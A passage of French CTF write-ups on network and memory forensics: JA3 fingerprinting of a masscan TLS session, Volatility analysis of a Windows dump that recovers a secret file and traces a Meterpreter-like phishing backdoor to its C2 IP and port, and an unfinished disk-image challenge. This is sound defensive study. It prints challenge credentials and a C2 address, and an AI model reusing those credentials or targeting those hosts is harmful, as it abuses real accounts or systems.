Le France est dans le top 10 des pays, qui exposent des serveurs d'imagerie médicale (d'après Shodan) sur internet :smile: !

![](/files/jiKORLPlx5ntC5Fdlewq)

Mais les champions restent les US... exemples de données accessibles 24h/24H :&#x20;

![](/files/Q9deJPFOn37nelL5dwlM)


# Scan TLS

### Contexte

Il semblerait qu’une machine de notre réseau local soit compromise et utilisée par un attaquant pour réaliser des opérations de reconnaisse sur des machines exposées sur Internet.

Cela lui permet d’utiliser notre adresse IP publique, dans le but de dissimuler ses traces.

Dans ce challenge, vous disposez de l’enregistrement d’une connexion TLS suspecte depuis la machine compromise (192.168.5.103) vers un serveur Web.

Même si le flux est chiffré, il est tout de même possible d’obtenir des informations sur cette connexion. Ici le client TLS utilisé sur la machine compromise semble avoir une empreinte très spécifique qui laisse peu de place au doute.

Votre mission est de retrouver le client TLS utilisé, comme vous pourriez retrouver le navigateur Web utilisé à partir du User-Agent HTTP.

{% file src="/files/KI6HH9M6bzVzJzUx4ihj" %}

### Analyse de la capture

La capture de trames est relativement courte, elle ne contient que 11 trames :&#x20;

![challenge\_tls.pcap](/files/1fHmI5h2tEA2QhpVcIKx)

On remarque une seule et unique session d'échange TCP via TLSv1.1.

La communication a lieu entre une ip locale (192.168.5.103) et le serveur web de l'APSSIS sur le port 443.

Le flux tcp n'affiche rien de particulier pour nous aider dans ce challenge :&#x20;

```
....o...k..RH..#.:N..../.	T...y.h.....="... ..,..n.Y.bhl.(=':...o............(.
...9.k.5.=...	.#.....'.3.g.2...../.<.
.............syndication.twimg.com......
.................#.....g`..B...<.XO.iD.......=]..L. ..B...
...LDt}.....`~G...h?2.(q..*....(../....'..W....V:..YaJ....|..U.z...W.<.x..9.g.	...f.H=........+.?ye..l\.k.....5...,..2..W=^%...D..1(i.J.
3t..uO.................F
```

### Quel est le client TLS utilisé ?

Le User-Agent d'une requête http est facile a récupérer dans une capture de trame, celui d'une session HTTPS est plus difficile à obtenir.

Heureusement, il existe un système d'empreinte pour faciliter la recherche de menace :&#x20;

> JA3 is a method for creating SSL/TLS client fingerprints that should be easy to produce on any platform and can be easily shared for threat intelligence.

{% embed url="<https://github.com/salesforce/ja3>" %}

salesforce a aussi publié un outil pour récupérer les empreintes JA3 dans un pcap :&#x20;

{% embed url="<https://github.com/salesforce/ja3/blob/master/python/ja3.py>" %}

```
 python3 ja3.py challenge_tls.pcap
[51.83.97.109:443] JA3: 770,49162-49172-57-107-53-61-49159-49161-49187-49169-49171-49191-51-103-50-5-4-47-60-10,61184-65281-10-11-35-13172-30031-5,23-24-25,0 --> 18e9afaf91db6f8a2470e7435c2a1d6b
```

Cet outil nous permet de récupérer le hash JA3 de la session TLS : **18e9afaf91db6f8a2470e7435c2a1d6b**

salesforce met aussi à disposition un outil de CTI pour ce type de hash :&#x20;

{% embed url="<https://ja3er.com>" %}

En passant le hash dans l'outil, on découvre que le client TLS est "massscan" (un scanner réseau).

![Flag : masscan ](/files/krSqhQw9hR1Uhva68wQB)


# BreizhCTF2022


# Des deux côtés 1/2

### Contexte

**Catégorie** : Forensic

**Points** : 500

**Auteur** : <https://twitter.com/_worty>

Voir les deux côtés de quelque chose, c'est toujours bon non?

Vous êtes une APT et un de vos collègues a volé une machine chez une entreprise du CAC40, malheureusement, celle-ci ne veut plus démarrer.. Votre collègue étant un hacker en herbe, il a pensé à faire un dump mémoire avant que la machine rende l'âme !

Retrouvez le fichier qui contient des données confidentielles dans ce dump mémoire !

### Début de l'analyse

* On a un dump mémoire "memory.dmp" de 1.1Go (=volatility)
* On cherche un fichier avec des données confidentielles
* La machine volée est une Windows et plus précisément une Win7SP1x86\_23418 :&#x20;

```
file memory.dmp
memory.dmp: MS Windows 32bit crash dump, PAE, full dump, 262144 pages

python volatility/vol.py -f memory.dmp imageinfo
Volatility Foundation Volatility Framework 2.6.1
INFO    : volatility.debug    : Determining profile based on KDBG search...
Suggested Profile(s) : Win7SP1x86_23418, Win7SP0x86, Win7SP1x86_24000, Win7SP1x86 (Instantiated with WinXPSP2x86)
 AS Layer1 : IA32PagedMemoryPae (Kernel AS)
 AS Layer2 : WindowsCrashDumpSpace32 (Unnamed AS)
 AS Layer3 : FileAddressSpace (/mnt/v/BZHCTF/FOFO/memory.dmp)
 PAE type : PAE
 DTB : 0x185000L
 KUSER_SHARED_DATA : 0xffdf0000L
 Image date and time : 2022-02-23 19:29:05 UTC+0000
 Image local date and time : 2022-02-23 11:29:05 -0800
```

### Recherche du fichier secret

Maintenant que nous avons notre profil volatility, nous pouvons pousser nos recherches et lister l'ensemble des fichiers connus de la mémoire via le plugin filescan.

```
python volatility/vol.py -f memory.dmp --profile=Win7SP1x86_23418 filescan |tee filescan.txt
```

Je pars de l'hypothèse que le fichier confidentiel en question se trouve dans l'espace perso de la victime, et effectivement, on en trouve 2 :&#x20;

* Employe Secret.txt
* Resultat Entretien 2021.txt

```
cat filescan.txt |grep Users
...
0x000000003ea68308      8      0 R--rw- \Device\HarddiskVolume1\Users\Daniel\Documents\RH-Documents\Confidential\Employe Secret.txt
0x000000003f17b1e8      1      1 R--rw- \Device\HarddiskVolume1\Users\Daniel\Documents\RH-Documents\Confidential
0x000000003f1a3f80      1      1 R--rw- \Device\HarddiskVolume1\Users\Daniel\Documents\RH-Documents\Confidential
0x000000003fd0af80      8      0 R--rw- \Device\HarddiskVolume1\Users\Daniel\Documents\RH-Documents\Confidential\Resultat Entretien 2021.txt
...
```

### Extraction des fichiers

Après avoir trouvé les fichiers, on imagine qu'il ne reste plus qu'a les extraire... mais malheureusement, le contenu des fichiers n'est pas récupérable.

```
python volatility/vol.py -f memory.dmp --profile=Win7SP1x86_23418 dumpfiles -Q 0x000000003ea68308 --name 'Employe Secret.txt' -D output/
DataSectionObject 0x3ea68308   None   \Device\HarddiskVolume1\Users\Daniel\Documents\RH-Documents\Confidential\Employe Secret.txt

python volatility/vol.py -f memory.dmp --profile=Win7SP1x86_23418 dumpfiles -Q 0x000000003fd0af80 --name 'Resultat Entretien 2021.txt' -D output/
DataSectionObject 0x3fd0af80   None   \Device\HarddiskVolume1\Users\Daniel\Documents\RH-Documents\Confidential\Resultat Entretien 2021.txt

ls output/
```

### Recherche d'un processus

Seul moyen pour retrouver le contenu des fichiers, chercher un processus qui les utilisent. Le plugin pslist nous aide à identifier les différents processus en fonctionnement sur le système.

notepad.exe semble être intéressant à vérifier car il est souvent utilisé pour ouvrir les fichiers .txt

* PID 3232
* PID 3732   &#x20;

```
python volatility/vol.py -f memory.dmp --profile=Win7SP1x86_23418 pslist
Volatility Foundation Volatility Framework 2.6.1
Offset(V)  Name                    PID   PPID   Thds     Hnds   Sess  Wow64 Start                          Exit
---------- -------------------- ------ ------ ------ -------- ------ ------ ------------------------------ ------------------------------
0x84133270 System                    4      0     77      511 ------      0 2022-02-23 18:09:02 UTC+0000
0x854f4020 smss.exe                224      4      2       29 ------      0 2022-02-23 18:09:02 UTC+0000
0x85748030 csrss.exe               304    296      9      338      0      0 2022-02-23 18:09:03 UTC+0000
0x85b9bd40 wininit.exe             340    296      3       75      0      0 2022-02-23 18:09:03 UTC+0000
0x85b9c578 csrss.exe               352    332      9      209      1      0 2022-02-23 18:09:03 UTC+0000
0x85c23d40 winlogon.exe            392    332      5      130      1      0 2022-02-23 18:09:04 UTC+0000
0x85cac030 services.exe            444    340      7      196      0      0 2022-02-23 18:09:04 UTC+0000
0x85cba2d8 lsass.exe               452    340      6      558      0      0 2022-02-23 18:09:04 UTC+0000
0x85cbc620 lsm.exe                 468    340      9      141      0      0 2022-02-23 18:09:04 UTC+0000
0x85f2bc08 svchost.exe             576    444      9      353      0      0 2022-02-23 18:09:04 UTC+0000
0x85f3d030 svchost.exe             636    444      7      250      0      0 2022-02-23 18:09:05 UTC+0000
0x854f3668 sppsvc.exe              860    444      4      147      0      0 2022-02-24 03:09:07 UTC+0000
0x84c07030 svchost.exe             900    444     14      314      0      0 2022-02-24 03:09:08 UTC+0000
0x84c08800 svchost.exe             924    444     40     1256      0      0 2022-02-24 03:09:08 UTC+0000
0x84c8d030 svchost.exe             972    444     19      450      0      0 2022-02-24 03:09:08 UTC+0000
0x84cc6030 audiodg.exe            1004    972      4      121      0      0 2022-02-24 03:09:08 UTC+0000
0x85aa6810 svchost.exe            1044    444     10      265      0      0 2022-02-24 03:09:09 UTC+0000
0x84cd8410 svchost.exe            1068    444     19      490      0      0 2022-02-24 03:09:09 UTC+0000
0x84d04d40 TrustedInstall         1180    444      6      261      0      0 2022-02-24 03:09:10 UTC+0000
0x85f9b030 spoolsv.exe            1340    444     12      293      0      0 2022-02-24 03:09:10 UTC+0000
0x85fe0030 svchost.exe            1380    444     19      315      0      0 2022-02-24 03:09:10 UTC+0000
0x85550718 svchost.exe            1692    444      6       94      0      0 2022-02-24 03:09:11 UTC+0000
0x84e3e4d0 taskhost.exe            772    444      8      208      1      0 2022-02-24 03:09:17 UTC+0000
0x84c7ac88 dwm.exe                 848    900      3       71      1      0 2022-02-24 03:09:17 UTC+0000
0x84c7f9d8 explorer.exe            880    756     32      881      1      0 2022-02-24 03:09:17 UTC+0000
0x84e79508 regsvr32.exe           1864    880      0 --------      1      0 2022-02-24 03:10:06 UTC+0000   2022-02-24 03:10:07 UTC+0000
0x85fc0030 svchost.exe            1868    444     11      144      0      0 2022-02-24 03:11:11 UTC+0000
0x84dde0b0 svchost.exe            1724    444      9      311      0      0 2022-02-24 03:11:11 UTC+0000
0x8430dc38 msiexec.exe            3820    444      6      305      0      0 2022-02-23 19:18:52 UTC+0000
0x8545d368 armsvc.exe             2660    444      6      244      0      0 2022-02-23 19:19:17 UTC+0000
0x842a3168 SearchIndexer.         3268    444     11      522      0      0 2022-02-23 19:19:24 UTC+0000
0x84356ca8 AdobeARMHelper         2484   2660      0 --------      0      0 2022-02-23 19:20:53 UTC+0000   2022-02-23 19:20:54 UTC+0000
0x85ee3d40 firefox.exe            2360    816      0 --------      1      0 2022-02-23 19:24:17 UTC+0000   2022-02-23 19:24:39 UTC+0000
0x84e17570 RH-Appli-Conne         3936    880      1       36      1      0 2022-02-23 19:24:45 UTC+0000
0x843485b0 RH-Appli-Conne         1668    880      3       94      1      0 2022-02-23 19:25:07 UTC+0000
0x84273030 cmd.exe                1472   1668      0 --------      1      0 2022-02-23 19:25:24 UTC+0000   2022-02-23 19:25:27 UTC+0000
0x8549b108 WMIADAP.exe            1152    924      5       86      0      0 2022-02-23 19:27:21 UTC+0000
0x84283830 WmiPrvSE.exe           3072    576      8      115      0      0 2022-02-23 19:27:21 UTC+0000
0x84f7e630 notepad.exe            3232    880      1       63      1      0 2022-02-23 19:27:43 UTC+0000
0x86081218 notepad.exe            3732    880      1       63      1      0 2022-02-23 19:27:46 UTC+0000
0x84f3cd40 RH-Appli-Conne         3540    880      1       20      1      0 2022-02-23 19:27:54 UTC+0000
0x842ef7e0 RH-Appli-Conne         3504    880      5       99      1      0 2022-02-23 19:28:06 UTC+0000
0x84da8938 cmd.exe                2404   3504      0 --------      1      0 2022-02-23 19:28:10 UTC+0000   2022-02-23 19:28:12 UTC+0000
```

Le plugin cmdline permet de confirmer cette hypothèse :&#x20;

```
python volatility/vol.py -f memory.dmp --profile=Win7SP1x86_23418 cmdline |grep -A1 -B1 notepad
************************************************************************
notepad.exe pid:   3232
Command line : "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Daniel\Documents\RH-Documents\Confidential\Resultat Entretien 2021.txt
************************************************************************
notepad.exe pid:   3732
Command line : "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Daniel\Documents\RH-Documents\Confidential\Employe Secret.txt
```

### Dump des processus

Je dump le premier process (pid=3232) associé à notepad.exe :&#x20;

{% hint style="info" %}

```
Le vidage mémoire (plugin memdump) d'un processus extraira tout de l'état actuel du processus. Le plugin procdump ne fera qu'extraire le code.
```

{% endhint %}

```
python volatility/vol.py -f memory.dmp --profile=Win7SP1x86_23418 memdump -p 3232 -D output/
************************************************************************
Writing notepad.exe [  3232] to 3232.dmp

file output/3232.dmp
output/3232.dmp: DOS executable (COM, 0x8C-variant)

du -h output/3232.dmp
157M    output/3232.dmp
```

### Flag !

Après un gros strings/grep sur 'BZHCTF', on ne récupère rien... j'essaye BZHCTF en base64 soit : *QlpIQ1RG*

On récupère un message indiquant l'arrivée d'un employé ainsi que sa signature, qui est en réalité notre flag : **BZHCTF{fr33\_cr3d3nti4ls}**

```
strings output/3232.dmp |grep -i -A10 -B10 'QlpIQ1RG'
f\,)
f\,)
f\,)
f\,)
Le nouvel employ
, Matthieu Delkique va nous rejoindre (ouf !)
Ses identifiants de connexion seront :
m.delkique@vulncorp.fr/MatthieuVulnCorp123!
Attenion
 bien lui fournir sa signature :
QlpIQ1RGe2ZyMzNfY3IzZDNudGk0bHN9Cg==
FILE0
FILE0
FILE0
FILE0
FILE0
FILE0
FILE0
FILE0
FILE0
FILE0
```

### Bonus :race\_car:

Il était possible de flag juste via strings/grep :&#x20;

```
strings -el memory.dmp |grep -A5 -B5 'QlpIQ1RG'

, Matthieu Delkique va nous rejoindre (ouf !)
Ses identifiants de connexion seront :
m.delkique@vulncorp.fr/MatthieuVulnCorp123!
Attenion
 bien lui fournir sa signature :
QlpIQ1RGe2ZyMzNfY3IzZDNudGk0bHN9Cg==
 oye Secret.txt
.txt
Fran
ais (France)
\Win
^C
```

### &#x20;


# Des deux côtés 2/2

### Contexte

**Catégorie** : Forensic

**Points** : 500

**Auteur** : <https://twitter.com/_worty>

Voir les deux côtés de quelque chose, c'est toujours bon non?

Un de vos employés s'est fait voler sa machine il y a 3 heures, heureusement, votre SI est bien configuré et des snapshots mémoires sont réalisées toutes les 2 heures ! Votre employé vous affirme qu'il a reçu un mail officiel de ses supérieurs pour télécharger une nouvelle application l'aidant dans son travail.. Votre but est d'identifier le nom de ce fichier, et de trouver sur quelle ip ainsi que sur quel port la backdoor s'est connectée !

Le fichier est le même que pour le premier challenge&#x20;

Format : BZHCTF{malveillant.exe-ip:port}

### Début de l'analyse

* On a un dump mémoire "memory.dmp" de 1.1Go (=volatility)
* On cherche une appli (exe ?) qui serait en réalité une backdoor
* La machine volée est une Windows et plus précisément une Win7SP1x86\_23418 :&#x20;

```
file memory.dmp
memory.dmp: MS Windows 32bit crash dump, PAE, full dump, 262144 pages

python volatility/vol.py -f memory.dmp imageinfo
Volatility Foundation Volatility Framework 2.6.1
INFO    : volatility.debug    : Determining profile based on KDBG search...
Suggested Profile(s) : Win7SP1x86_23418, Win7SP0x86, Win7SP1x86_24000, Win7SP1x86 (Instantiated with WinXPSP2x86)
 AS Layer1 : IA32PagedMemoryPae (Kernel AS)
 AS Layer2 : WindowsCrashDumpSpace32 (Unnamed AS)
 AS Layer3 : FileAddressSpace (/mnt/v/BZHCTF/FOFO/memory.dmp)
 PAE type : PAE
 DTB : 0x185000L
 KUSER_SHARED_DATA : 0xffdf0000L
 Image date and time : 2022-02-23 19:29:05 UTC+0000
 Image local date and time : 2022-02-23 11:29:05 -0800
```

### Recherche de l'application malveillante

Je commence par lister l'ensemble des process en cours sur le système.

```
python volatility/vol.py -f memory.dmp --profile=Win7SP1x86_23418 pstree
Name                                                  Pid   PPid   Thds   Hnds Time
-------------------------------------------------- ------ ------ ------ ------ ----
 0x85748030:csrss.exe                                 304    296      9    338 2022-02-23 18:09:03 UTC+0000
 0x85b9bd40:wininit.exe                               340    296      3     75 2022-02-23 18:09:03 UTC+0000
. 0x85cba2d8:lsass.exe                                452    340      6    558 2022-02-23 18:09:04 UTC+0000
. 0x85cbc620:lsm.exe                                  468    340      9    141 2022-02-23 18:09:04 UTC+0000
. 0x85cac030:services.exe                             444    340      7    196 2022-02-23 18:09:04 UTC+0000
.. 0x8430dc38:msiexec.exe                            3820    444      6    305 2022-02-23 19:18:52 UTC+0000
.. 0x85aa6810:svchost.exe                            1044    444     10    265 2022-02-24 03:09:09 UTC+0000
.. 0x84e3e4d0:taskhost.exe                            772    444      8    208 2022-02-24 03:09:17 UTC+0000
.. 0x84c07030:svchost.exe                             900    444     14    314 2022-02-24 03:09:08 UTC+0000
... 0x84c7ac88:dwm.exe                                848    900      3     71 2022-02-24 03:09:17 UTC+0000
.. 0x85550718:svchost.exe                            1692    444      6     94 2022-02-24 03:09:11 UTC+0000
.. 0x84c08800:svchost.exe                             924    444     40   1256 2022-02-24 03:09:08 UTC+0000
... 0x8549b108:WMIADAP.exe                           1152    924      5     86 2022-02-23 19:27:21 UTC+0000
.. 0x84cd8410:svchost.exe                            1068    444     19    490 2022-02-24 03:09:09 UTC+0000
.. 0x85f9b030:spoolsv.exe                            1340    444     12    293 2022-02-24 03:09:10 UTC+0000
.. 0x85f2bc08:svchost.exe                             576    444      9    353 2022-02-23 18:09:04 UTC+0000
... 0x84283830:WmiPrvSE.exe                          3072    576      8    115 2022-02-23 19:27:21 UTC+0000
.. 0x84dde0b0:svchost.exe                            1724    444      9    311 2022-02-24 03:11:11 UTC+0000
.. 0x85fc0030:svchost.exe                            1868    444     11    144 2022-02-24 03:11:11 UTC+0000
.. 0x84c8d030:svchost.exe                             972    444     19    450 2022-02-24 03:09:08 UTC+0000
... 0x84cc6030:audiodg.exe                           1004    972      4    121 2022-02-24 03:09:08 UTC+0000
.. 0x8545d368:armsvc.exe                             2660    444      6    244 2022-02-23 19:19:17 UTC+0000
... 0x84356ca8:AdobeARMHelper                        2484   2660      0 ------ 2022-02-23 19:20:53 UTC+0000
.. 0x854f3668:sppsvc.exe                              860    444      4    147 2022-02-24 03:09:07 UTC+0000
.. 0x85fe0030:svchost.exe                            1380    444     19    315 2022-02-24 03:09:10 UTC+0000
.. 0x84d04d40:TrustedInstall                         1180    444      6    261 2022-02-24 03:09:10 UTC+0000
.. 0x842a3168:SearchIndexer.                         3268    444     11    522 2022-02-23 19:19:24 UTC+0000
.. 0x85f3d030:svchost.exe                             636    444      7    250 2022-02-23 18:09:05 UTC+0000
 0x84c7f9d8:explorer.exe                              880    756     32    881 2022-02-24 03:09:17 UTC+0000
. 0x84f3cd40:RH-Appli-Conne                          3540    880      1     20 2022-02-23 19:27:54 UTC+0000
. 0x84f7e630:notepad.exe                             3232    880      1     63 2022-02-23 19:27:43 UTC+0000
. 0x842ef7e0:RH-Appli-Conne                          3504    880      5     99 2022-02-23 19:28:06 UTC+0000
.. 0x84da8938:cmd.exe                                2404   3504      0 ------ 2022-02-23 19:28:10 UTC+0000
. 0x843485b0:RH-Appli-Conne                          1668    880      3     94 2022-02-23 19:25:07 UTC+0000
.. 0x84273030:cmd.exe                                1472   1668      0 ------ 2022-02-23 19:25:24 UTC+0000
. 0x84e79508:regsvr32.exe                            1864    880      0 ------ 2022-02-24 03:10:06 UTC+0000
. 0x86081218:notepad.exe                             3732    880      1     63 2022-02-23 19:27:46 UTC+0000
. 0x84e17570:RH-Appli-Conne                          3936    880      1     36 2022-02-23 19:24:45 UTC+0000
 0x84133270:System                                      4      0     77    511 2022-02-23 18:09:02 UTC+0000
. 0x854f4020:smss.exe                                 224      4      2     29 2022-02-23 18:09:02 UTC+0000
 0x85c23d40:winlogon.exe                              392    332      5    130 2022-02-23 18:09:04 UTC+0000
 0x85b9c578:csrss.exe                                 352    332      9    209 2022-02-23 18:09:03 UTC+0000
 0x85ee3d40:firefox.exe                              2360    816      0 ------ 2022-02-23 19:24:17 UTC+0000
```

D'après l'énoncé du challenge, on suppose que le mail est un phishing et que l'application que l'employé a téléchargé ne porte pas un nom barbare (pour mieux le tromper).

L'exe "RH-Appli-Conne" semble être le bon candidat !

```
. 0x84f3cd40:RH-Appli-Conne                          3540    880      1     20 2022-02-23 19:27:54 UTC+0000
. 0x842ef7e0:RH-Appli-Conne                          3504    880      5     99 2022-02-23 19:28:06 UTC+0000
. 0x843485b0:RH-Appli-Conne                          1668    880      3     94 2022-02-23 19:25:07 UTC+0000
. 0x84e17570:RH-Appli-Conne                          3936    880      1     36 2022-02-23 19:24:45 UTC+0000
```

### Analyse des connexions réseaux

On remarque que l'application se connecte vers l'adresse ip 146.59.156.82 sur le port 1337.

```
python volatility/vol.py -f memory.dmp --profile=Win7SP1x86_23418 netscan |grep RH
Offset(P)          Proto    Local Address                  Foreign Address      State            Pid      Owner          Created
0x3e1d15e8         TCPv4    192.168.80.131:49636           146.59.156.82:1337   ESTABLISHED      3936     RH-Appli-Conne
0x3e491b48         TCPv4    192.168.80.131:49637           146.59.156.82:1337   ESTABLISHED      1668     RH-Appli-Conne
0x3f09edf8         TCPv4    192.168.80.131:49644           146.59.156.82:1337   ESTABLISHED      3540     RH-Appli-Conne
0x3fcaf2a0         TCPv4    192.168.80.131:49645           146.59.156.82:1337   ESTABLISHED      3504     RH-Appli-Conne
```

Nous avons donc :&#x20;

*BZHCTF{malveillant.exe-146.59.156.82:1337}*

### Récupération du fichier

Pour obtenir notre flag complet, il nous manque le nom complet de l'application.

Le plugin filescan nous permet de le récupérer.

```
python volatility/vol.py -f memory.dmp --profile=Win7SP1x86_23418 filescan |grep -i RH
0x000000003f028378      3      0 R--r-d \Device\HarddiskVolume1\Users\Daniel\Downloads\RH-Appli-Connect.exe
```

*BZHCTF{*&#x52;H-Appli-Connect.ex&#x65;*-146.59.156.82:1337}*

### Bonus : extract de la backdoor

Pour aller plus loin on pouvait extraire l’exécutable malveillant et l'analyser sur une plateforme telle que Virustotal.

```
python volatility/vol.py -f memory.dmp --profile=Win7SP1x86_23418 procdump -p 3936 -D output/
Process(V) ImageBase  Name                 Result
---------- ---------- -------------------- ------
0x84e17570 0x00400000 RH-Appli-Conne       OK: executable.3936.exe

file output/executable.3936.exe
output/executable.3936.exe: PE32 executable (GUI) Intel 80386, for MS Windows

sha256sum output/executable.3936.exe
e23d26169560c4fe1bf966d339d9996d4395ae3b0a696eed181240fedd28c1ee  output/executable.3936.exe
```

Son hash n'était pas connu de la base de connaissance mais plusieurs antivirus le détecte comme un Meterpreter.

![Résultat Virus Total](/files/WNRREyCnYtJ5aQU8CAEL)

<https://www.virustotal.com/gui/file/e23d26169560c4fe1bf966d339d9996d4395ae3b0a696eed181240fedd28c1ee/>


# European Cyber Week


# Maker is dead

### Contexte <a href="#contexte" id="contexte"></a>

Un maker est retrouvé mort dans un incendie, les pompiers déclarent que la cause de l'incendie provient d'une imprimante 3D. Dans l'incendie, ils récupèrent une clef usb et un raspberry pi à analyser.

![](https://i.imgur.com/zVhIY0b.png)

### Partie I <a href="#partie-i" id="partie-i"></a>

#### Lord of War 1/4 <a href="#lord-of-war-14" id="lord-of-war-14"></a>

Piste de recherche : flag.txt

Pour commencer, nous avons deux images disques :

* **Raw1.dd** qui correspond à la clé USB retrouvé
* **Raw2.dd** qui correspond au raspberry

Les 4 premières étapes du challenge consiste à récupérer des informations dans le Raw1.dd

Je commence par lister le contenu de cette image :

```
onosh@siftworkstation:# file Raw1.dd 
Raw1.dd: DOS/MBR boot sector; partition 1 : ID=0x7, start-CHS (0x0,32,33), end-CHS (0x79,222,37), startsector 2048, 1955840 sectors
onosh@siftworkstation:# mmls Raw1.dd 
DOS Partition Table
Offset Sector: 0
Units are in 512-byte sectors

      Slot      Start        End          Length       Description
000:  Meta      0000000000   0000000000   0000000001   Primary Table (#0)
001:  -------   0000000000   0000002047   0000002048   Unallocated
002:  000:000   0000002048   0001957887   0001955840   NTFS / exFAT (0x07)
```

Je découvre 3 partitions, dont une plus importante que les autres, la numéro "002" qui contient un système de fichier NTFS.

Je décide de regarder ce quelle contient :

```
onosh@siftworkstation:# fls -o 0000002048 -r -p Raw1.dd |grep -v '\$'
d/d 36-144-1:   System Volume Information
r/r 38-128-1:   System Volume Information/IndexerVolumeGuid
r/r 37-128-1:   System Volume Information/WPSettings.dat
-/r * 64-128-2: Flag.txt
-/r * 65-128-2: Meow.pdf
-/r * 66-128-2: Wiki.pdf
-/d * 67-144-2: MrNigloR-S01
-/r * 68-128-2: MrNigloR-S01/MrNigloR-S01-ep1-VOST.mp4
-/r * 69-128-2: MrNigloR-S01/MrNigloR-S01-ep1.mp4
-/d * 70-144-2: PgnChessBook
-/r * 71-128-2: PgnChessBook/Install_PgnChessBook.exe
-/r * 72-128-2: PgnChessBook/READ_ME_FIRST.txt
-/r * 73-128-2: PgnChessBook/my_best_game.pgn

```

Un fichier "Flag.txt" intéressant... ça semble être ce que l'on cherche vu notre piste de recherche ! J'extrait le fichier :

```
onosh@siftworkstation:# icat -o 0000002048 Raw1.dd 64-128-2 >flag.txt && cat flag.txt
ECW{59b931696910632cd89986ccbf626e388055477e}
```

J'ai mon premier flag ! `ECW{59b931696910632cd89986ccbf626e388055477e}` + 50 points

#### Lord of War 2/4 <a href="#lord-of-war-24" id="lord-of-war-24"></a>

Piste de recherche : WALLET

Cette fois ci, on recherche quelque chose en rapport avec "Wallet" :

* Portefeuille
* Cryptomonnaie
* Bitcoin, Ethereum ?

Je commence par chercher le mot clé dans l'image disque, mais sans succès :

```
onosh@siftworkstation:# grep -rina 'WALLET' Raw1.dd 
onosh@siftworkstation:# strings Raw1.dd |grep -in 'wallet'
```

Je décide donc d'approndir ma recherche dans les autres fichiers trouvé précemment !

J'ai à ma disposition :

* 2 fichiers PDF
* 2 Vidéos
* Un jeu d'échec

Après quelques recherches dans le fichier PDF et les vidéos, aucune information semble pertinente pour cette piste "Wallet", je décide d'éplucher le jeu d'échec.

Le fichier `PgnChessBook/READ_ME_FIRST.txt` nous apprend qu'il est possible à partir du programme `PgnChessBook/Install_PgnChessBook.exe` d'importer une partie d'échec si elle est au format .pgn, ça tombe bien nous avons le fichier `PgnChessBook/my_best_game.pgn`.

J'éxécute le programme et j'importe le fichier :

![](https://i.imgur.com/vEpSHxC.png)

Après quelques tests de simulation de la partie, on se rend vite compte qu'elle n'a aucun sens car les deux joueurs placent leurs pions n'importe comment.

Les données contenue dans le fichier my\_best\_game.pgn semblent d'autant plus étrange :

```
1. g3 h5 2. h4 Nh6 3. d3 g5 4. a3 b6 5. Nh3 a5 6. Rh2 d5 7. c3 b5 8. Bg2 Na6 9. g4 Qd6 10. Bh1 Qg3 11. c4 Ng8 12. hxg5 Qxh3 13. Qb3 Bd7 14. e3 Bc6 15. Nc3 Bh6 16. Be4 Qf3 17. Rh1 Qxf2+ 18. Kxf2 e5 19. d4 dxe4 20. Na2 f5 21. Qd3 Ra7 22. Nb4 hxg4 23. Ke2 a4 24. Rd1 Bb7 25. Nc6 Kf8 26. Rh1 Nf6 27. Ke1 Nb4 28. Qe2 Na6 29. Nb4 Ba8 30. Rh2 Bb7 31. Qc2 Bc8 32. Qf2 Bxg5 33. Qh4 c5 34. Qh7 Rhxh7 35. Na2 Ra8 36. Kd1 Bb7 37. Bd2 Re7 38. cxb5 Nd5 39. Rh5 Rc8 40. Rh2 Kg7 41. Bc1 Bh6 42. Re2 Ree8 43. Kd2 g3 44. Rh2 Nf6 45. Rh3 Kg6 46. Kc3 Rc6 47. Kc2 Rf8 48. Nc3 Ne8 49. Rh5 Bc8 50. Rxh6+ Kf7 51. dxe5 Nb4+ 52. axb4 cxb4 53. Kb1 b3 54. e6+ Kg8 55. Nd5 f4 56. Rh1 Ba6 57. exf4 Rc2 58. Nc3 Kg7 59. Be3 Rc1+ 60. Bxc1 Nf6 61. Nxa4 Bc8 62. Rh8 Rf7 63. Rh2 Re7 64. Rf2 Rf7 65. Rh2 Nh7 66. Rxh7+ Kf8 67. Nc5 Rxf4 68. Rh6 Bb7 69. Ra7 Rf3 70. e7+ Ke8 71. Rh5 Bd5 72. Nd7 Be6 73. Rh3 Bg8 74. Ka1 Rf6 75. Rh2 Bd5 76. Ne5 Rf1 77. Nf7 Bc6 78. Ra4 Rxf7 79. Ra2 Rxe7 80. bxc6 Rh7 81. Rxh7 Kf8 82. Bh6+ Ke8 83. Ra5 Kd8 84. Rg5 Ke8 85. c7 e3 86. Rd7 e2 87. Rg8+ Kxd7 88. Re8 e1=B 89. c8=B+ Kc6 90. Rxe1 Kd5 91. Bf8 Kd4 92. Be7 Kd5 93. Re3 Kd4 94. Rxb3 g2 95. Rc3 Ke5 96. Ba6 g1=B 97. b4 Bc5 98. Rc1 Bd4+ 99. Ka2 Ke4 100. b5 Ba1 101. Rc5 Bh8 102. Kb3 Kd3 103. Kb4 Kd4 104. Ka5 Ke3 105. Bb7 Bf6 106. Ba6 Bg5 107. Ka4 Kd4 108. Rc3 Ke5 109. Rd3 Bd2 110. Rg3 Bg5 111. Ka3 Kd5 112. Bb4 Bh6 113. Rg7 Bd2 114. Ka2 Be1 115. Be7 Ba5 116. Bf8 Ke6 117. Be7 Bd8 118. Kb2 Bb6 119. Bg5 Bg1 120. Bd8 Kf5 121. Ka2 Be3 122. Rb7 Ba7 123. Kb1 Bb6 124. Rb8 Bg1 125. Kc1 Bf2 126. b6 Be3+ 127. Kd1 Bf4 128. Bb7 Ke5 129. Ra8 Ke6 130. Bh1 Bh2 131. Ra3 Bg1 132. Ra7 Be3 133. Bf6 Bh6 134. Ra3 Bf4 135. Bg2 Bc7 136. Ra8 Bxb6 137. Ra4 Ba5 138. Bd4 Bc3 139. Kc1 Ba5 140. Bh1 Kd6 141. Bc5+ Kd7 142. Bd5 Bb4 143. Bb3 Bd2+ 144. Kb2 Ke8 145. Bd5 Bh6 146. Kb3 Kd7 147. Be4 Bc1 148. Be3 Ke6 149. Ba7 Ke5 150. Be3 Bd2 151. Bf2 Ke6 152. Be3 Ba5 153. Rc4 Kd7 154. Bc6+ Ke7 155. Re4+ Kf8 156. Bb5 Bc7 157. Bf4 Kg7 158. Bg3 Kf6 159. Ka4 Be5 160. Ba6 Kg5 161. Ka5 Kf6 162. Bc8 Kg5 163. Bh4+ Kh6 164. Kb4 Bc3+ 165. Kc4 Bh8 166. Bf6 Kg6 167. Re2 Bxf6 168. Bf5+ Kh6 169. Bh3 Kg7 170. Kb5 Bg5 171. 